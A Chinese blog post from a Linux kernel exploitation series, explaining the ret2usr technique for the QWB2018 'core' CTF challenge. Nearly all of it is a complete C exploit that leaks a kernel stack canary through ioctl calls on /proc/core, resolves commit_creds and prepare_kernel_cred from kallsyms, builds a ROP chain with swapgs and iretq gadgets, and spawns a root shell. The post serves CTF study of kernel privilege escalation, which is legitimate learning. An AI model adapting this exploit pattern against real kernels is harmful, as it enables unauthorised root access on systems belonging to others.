Linux Kernel Pwn(三)

April 2, 2020 PWN 访问: 22 次

ret2uer

这个是指当没有开启smep时,进行ROP时可以把程序流劫持到exp中,也就是说执行我们写的代码

对于QWB2018-core而言,只是把执行commit_creds(prepare_kernel_cred(0))换成我们自己写的代码即可,其他方式还是一样的;

exp:

#include<stdio.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include <ctype.h>



void HexStrToByte(const char* source, unsigned char* dest, int sourceLen)
{
    short i;
    unsigned char highByte, lowByte;

    for (i = 0; i < sourceLen; i += 2)
    {
        highByte = toupper(source[i]);
        lowByte  = toupper(source[i + 1]);

        if (highByte > 0x39)
            highByte -= 0x37;
        else
            highByte -= 0x30;

        if (lowByte > 0x39)
            lowByte -= 0x37;
        else
            lowByte -= 0x30;

        dest[i / 2] = (highByte << 4) | lowByte;
    }
    return ;
}


void set_off(int fd,size_t size)
{  
    printf("set off %ld \n",size);
    ioctl(fd,0x6677889C,size);
}

void read_str(int fd,char *addr)
{
    printf("* read buf *\n");
    ioctl(fd,0x6677889B,addr);
}

void reverse(char *str,char *str2){
    int i=0;
    for(i=0;i<8;i++)
    {
        str[i]=str2[7-i];
    }
}



size_t search_symbols(char *str){
    char line[0x50],addr[0x50]={0},addr_2[0x50]={0},addr_3[0x10]={0};
    size_t num;
    FILE *fd=fopen("/tmp/kallsyms","r");
    while(!feof(fd))
    {
        fgets(line,0x50,fd);
        // printf("读取内容:%s", c);
        if(strstr(line,str))
        {
            strncpy(addr,line,16);
            HexStrToByte(addr,addr_2,16);
            // printf("%s",addr_2);
            reverse(addr_3,addr_2);
            num = ((size_t *)addr_3)[0];
        }
    }
    fclose(fd);
    return num;
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
size_t prepare_kernel_cred,commit_creds;

void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rbx, prepare_kernel_cred;"
        "call rbx;"
        "mov rdi, rax;"
        "mov rbx, commit_creds;"
        "call rbx;"
    );
}


void get_shell()
{
    if(!getuid())
    {
        printf(":) root:");
        system("/bin/sh");
    }else{
        printf(":( pwn fail!!!");
    }
}

int main()
{
    save_status();
    int i,file = open("/proc/core",2);
    size_t commit_creds_offset,rop[0x300] = {0},base_addr;
    commit_creds_offset = 0x9c8e0;
/*get vmlinux base*/    
    base_addr = search_symbols("commit_creds")-commit_creds_offset;
    printf("base_addr :%p\n",base_addr);
    prepare_kernel_cred = base_addr + 0x9cce0;
    printf("prepare_kernel_cred :%p\n",prepare_kernel_cred);
    commit_creds = base_addr + commit_creds_offset;
    printf("commit_creds :%p\n",commit_creds);
    size_t pop_rdi = 0xb2f + base_addr;
    size_t pop_rdx = 0xa0f49 + base_addr;
    size_t code_1 = 0x6a6d2 + base_addr;//mov rdi, rax ; call rdx
    size_t code_2 = 0xa012da + base_addr;// swapgs ; popfq ; ret
    size_t code_3 = 0x50ac2 + base_addr;//iretq; ret; 

/*get canary*/
    char *str_addr = malloc(0x80);
    set_off(file,0x40);
    read_str(file,str_addr);
    size_t canary = ((size_t *)str_addr)[0];
    printf("canary: %p\n", canary);
    printf("canary: %p\n", ((size_t *)str_addr)[1]);



/* rop chain */
    size_t payload[0x100]={0};
    for(i=0;i<8;i++)
    {
        payload[i] = 0x12345678;
    }
    payload[i++] = canary;
    payload[i++] = 0x12345678;
    payload[i++] = (size_t)get_root;
    payload[i++] = code_2;
    payload[i++] = 0;
    payload[i++] = code_3;
    payload[i++] = (size_t)get_shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;


/*get shell*/  
    write(file,payload,0x800);
    ioctl(file,0x6677889A,0xffffffffffff0000 | (0x100));
    return 0;
}

添加新评论